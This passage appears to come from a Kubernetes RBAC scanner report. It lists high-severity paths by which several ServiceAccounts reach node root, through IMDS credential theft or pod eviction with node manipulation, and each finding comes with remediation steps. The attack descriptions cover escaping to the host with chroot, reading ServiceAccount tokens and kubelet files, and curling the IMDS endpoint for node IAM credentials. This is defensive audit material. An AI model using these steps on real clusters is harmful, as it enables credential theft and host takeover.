  2. Acting as ServiceAccount/foothold-exec/foothold-decoy-sa, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/foothold-exec/foothold-decoy-sa → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/foothold-exec/foothold-decoy-sa → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/foothold-exec/foothold-reader Cluster 8.5
ServiceAccount/foothold-exec/foothold-reader can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/foothold-exec/foothold-reader → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-reader

Subject ServiceAccount/foothold-exec/foothold-reader has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/foothold-exec/foothold-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod foothold-exec/foothold-target falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/foothold-exec/foothold-reader yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/foothold-exec/foothold-reader.
  2. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod foothold-exec/foothold-target falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-exec/foothold-target falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/foothold-exec/foothold-reader → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/foothold-exec/foothold-reader → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/foothold-fixtures/foothold-quiet Cluster 8.5
ServiceAccount/foothold-fixtures/foothold-quiet can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/foothold-fixtures/foothold-quiet → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-fixtures/foothold-quiet

Subject ServiceAccount/foothold-fixtures/foothold-quiet has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/foothold-fixtures/foothold-quiet → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod foothold-fixtures/foothold-quiet-app-749c54956-6w7wr falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/foothold-fixtures/foothold-quiet yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/foothold-fixtures/foothold-quiet.
  2. Acting as ServiceAccount/foothold-fixtures/foothold-quiet, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod foothold-fixtures/foothold-quiet-app-749c54956-6w7wr falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-fixtures/foothold-quiet-app-749c54956-6w7wr falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/foothold-fixtures/foothold-quiet → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/foothold-fixtures/foothold-quiet → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/gw-workloads/gw-web-sa Cluster 8.5
ServiceAccount/gw-workloads/gw-web-sa can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/gw-workloads/gw-web-sa → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/gw-workloads/gw-web-sa

Subject ServiceAccount/gw-workloads/gw-web-sa has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/gw-workloads/gw-web-sa → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/gw-workloads/gw-web-sa yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/gw-workloads/gw-web-sa.
  2. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/gw-workloads/gw-web-sa → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/gw-workloads/gw-web-sa → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/hookbackend-fixtures/default Cluster 8.5
ServiceAccount/hookbackend-fixtures/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/hookbackend-fixtures/default → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/hookbackend-fixtures/default

Subject ServiceAccount/hookbackend-fixtures/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/hookbackend-fixtures/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod hookbackend-fixtures/hookbackend-injector-98b757bb8-2rtf4 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/hookbackend-fixtures/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/hookbackend-fixtures/default.
  2. Acting as ServiceAccount/hookbackend-fixtures/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod hookbackend-fixtures/hookbackend-injector-98b757bb8-2rtf4 falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/hookbackend-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod hookbackend-fixtures/hookbackend-injector-98b757bb8-2rtf4 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/hookbackend-fixtures/default → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/hookbackend-fixtures/default → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/imgswap-fixtures/imgswap-reader Cluster 8.5
ServiceAccount/imgswap-fixtures/imgswap-reader can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/imgswap-fixtures/imgswap-reader → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/imgswap-fixtures/imgswap-reader

Subject ServiceAccount/imgswap-fixtures/imgswap-reader has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/imgswap-fixtures/imgswap-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/imgswap-fixtures/imgswap-reader yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/imgswap-fixtures/imgswap-reader.
  2. Acting as ServiceAccount/imgswap-fixtures/imgswap-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-reader → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-reader → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/ingress-only/default Cluster 8.5
ServiceAccount/ingress-only/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/ingress-only/default → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/ingress-only/default

Subject ServiceAccount/ingress-only/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/ingress-only/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod ingress-only/ingress-app-7bdfc6c57-6t55d falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/ingress-only/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/ingress-only/default.
  2. Acting as ServiceAccount/ingress-only/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod ingress-only/ingress-app-7bdfc6c57-6t55d falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/ingress-only/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod ingress-only/ingress-app-7bdfc6c57-6t55d falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/ingress-only/default → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/ingress-only/default → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/lp-fixtures/sa-lp-narrow Cluster 8.5
ServiceAccount/lp-fixtures/sa-lp-narrow can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/lp-fixtures/sa-lp-narrow → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-narrow

Subject ServiceAccount/lp-fixtures/sa-lp-narrow has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/lp-fixtures/sa-lp-narrow → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-narrow-app-6b8848bf64-jfqrj falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/lp-fixtures/sa-lp-narrow yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/lp-fixtures/sa-lp-narrow.
  2. Acting as ServiceAccount/lp-fixtures/sa-lp-narrow, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod lp-fixtures/lp-narrow-app-6b8848bf64-jfqrj falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-narrow
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-narrow-app-6b8848bf64-jfqrj falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-narrow → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-narrow → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
